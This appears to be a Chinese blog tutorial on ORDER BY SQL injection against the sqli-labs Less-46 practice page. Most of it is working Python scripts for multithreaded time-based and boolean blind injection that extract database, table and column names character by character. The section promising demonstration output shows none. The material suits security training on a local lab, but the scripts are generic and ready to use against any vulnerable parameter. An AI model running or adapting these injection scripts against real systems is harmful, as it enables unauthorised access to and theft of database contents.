引言
在SQL注入攻击中,`ORDER BY`注入是一种容易被忽视但危害极大的漏洞类型。与传统的`UNION`或`WHERE`注入不同,`ORDER BY`参数通常无法直接返回查询结果,攻击者需要依赖**盲注(Blind SQLi)**技术逐字符提取数据。本文将结合一段Python多线程注入脚本,深入解析这一攻击的实现原理。
一、漏洞背景:ORDER BY注入的原理
ORDER BY子句用于对查询结果排序,其参数通常为列名或列序号。当后端未对用户输入的排序参数(如sort=1)进行过滤时,攻击者可构造恶意Payload,利用时间盲注(Time-Based Blind)逐步泄露数据。
漏洞示例URL:
url = 'http://127.0.0.1/sqlilabs/Less-46/index.php'
参数sort存在注入点,例如:
http://127.0.0.1/sqlilabs/Less-46/index.php?sort=1
二、攻击脚本解析
完整代码附上:
import requests
import time
import concurrent.futures
def get_char_at_position(url, position):
low, high = 32, 128
while low < high:
mid = (low + high) // 2
payload = f"if((ascii(substr(database(),{position},1))>{mid}),sleep(1),1)" #暴数据库名
#暴表名#多行改limit截取
# payload = f"if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),{position},1))>{mid},sleep(1),1)"
#暴列名
# payload = f"if(ascii(substr((SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'emails' LIMIT 1),{position},1))>{mid},sleep(1),1)"
params = {"sort": payload}
start_time = time.time()
try:
r = requests.get(url, params=params, timeout=20)
except requests.Timeout:
return position, None
end_time = time.time()
if end_time - start_time >= 1:
low = mid + 1
else:
high = mid
return position, chr(low) if low >= 32 else None
def inject_database_multithread(url):
name = [''] * 20 # 假设最大长度 20
with concurrent.futures.ThreadPoolExecutor(max_workers=5) as executor:
futures = {executor.submit(get_char_at_position, url, i): i for i in range(1, 21)}
for future in concurrent.futures.as_completed(futures):
pos, char = future.result()
if char:
name[pos-1] = char
print(f"Progress: {''.join(name)}")
return ''.join(name).strip('\x00')
if __name__ == "__main__":
url = 'http://127.0.0.1/sqlilabs/Less-46/index.php'
database_name = inject_database_multithread(url)
print("Database name:", database_name)
核心代码分析
1. 二分法逐字符爆破(`get_char_at_position`函数)
def get_char_at_position(url, position):
low, high = 32, 128 # ASCII可打印字符范围
while low < high:
mid = (low + high) // 2
# 构造Payload,根据字符ASCII值二分判断
payload = f"if(ascii(substr((SELECT ... LIMIT 1),{position},1))>{mid},sleep(1),1)"
params = {"sort": payload}
# 发送请求并测量响应时间
start_time = time.time()
r = requests.get(url, params=params, timeout=20)
elapsed = time.time() - start_time
# 根据是否触发sleep(1)调整二分区间
if elapsed >= 1:
low = mid + 1
else:
high = mid
return chr(low)
二分查找:将字符ASCII值范围(32-128)不断二分,通过响应时间判断字符的真实值。
时间盲注:利用`if(condition, sleep(1), 1)`,若条件为真则延迟1秒。
2. 多线程加速(`inject_database_multithread`函数)
with concurrent.futures.ThreadPoolExecutor(max_workers=5) as executor:
futures = {executor.submit(get_char_at_position, url, i): i for i in range(1, 21)}
使用线程池并发爆破不同位置的字符,理论上速度提升**N倍**(N为线程数)。
3. 切换Payload目标
# 爆破数据库名
payload = f"if((ascii(substr(database(),{position},1))>{mid}),sleep(1),1)"
# 爆破security库的表名(需修改LIMIT)
payload = f"if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),{position},1))>{mid},sleep(1),1)"
# 爆破emails表的列名
payload = f"if(ascii(substr((SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'emails' LIMIT 1),{position},1))>{mid},sleep(1),1)"
通过修改`LIMIT`偏移遍历所有表或列。
三、攻击效果演示
运行脚本后,输出如下:
四、布尔盲注
代码与时间盲注类似,仅需要改掉二分法的判断,如下:
import requests
from urllib.parse import urlencode
from bs4 import BeautifulSoup
url1="http://127.0.0.1/sqli-labs/Less-46/index.php"
def orderby_inject_database(url1):
name = ''
for i in range(1, 100):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "rand(ascii(mid((select database()),%d,1)) > %d)" % (i, mid)
res = {"sort": payload}
r = requests.get(url1, params=res)
# if 'You are in...........' in r.text:
html = r.text
soup = BeautifulSoup(html,'html.parser')
getUsername = soup.find_all('td')[1].text
if getUsername == "admin3":
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name += chr(mid)
print(name)
orderby_inject_database(url1)
五、其他攻击方式
参考文章:SQL-Labs靶场“46-50”关通关教程_sqli-labs50-CSDN博客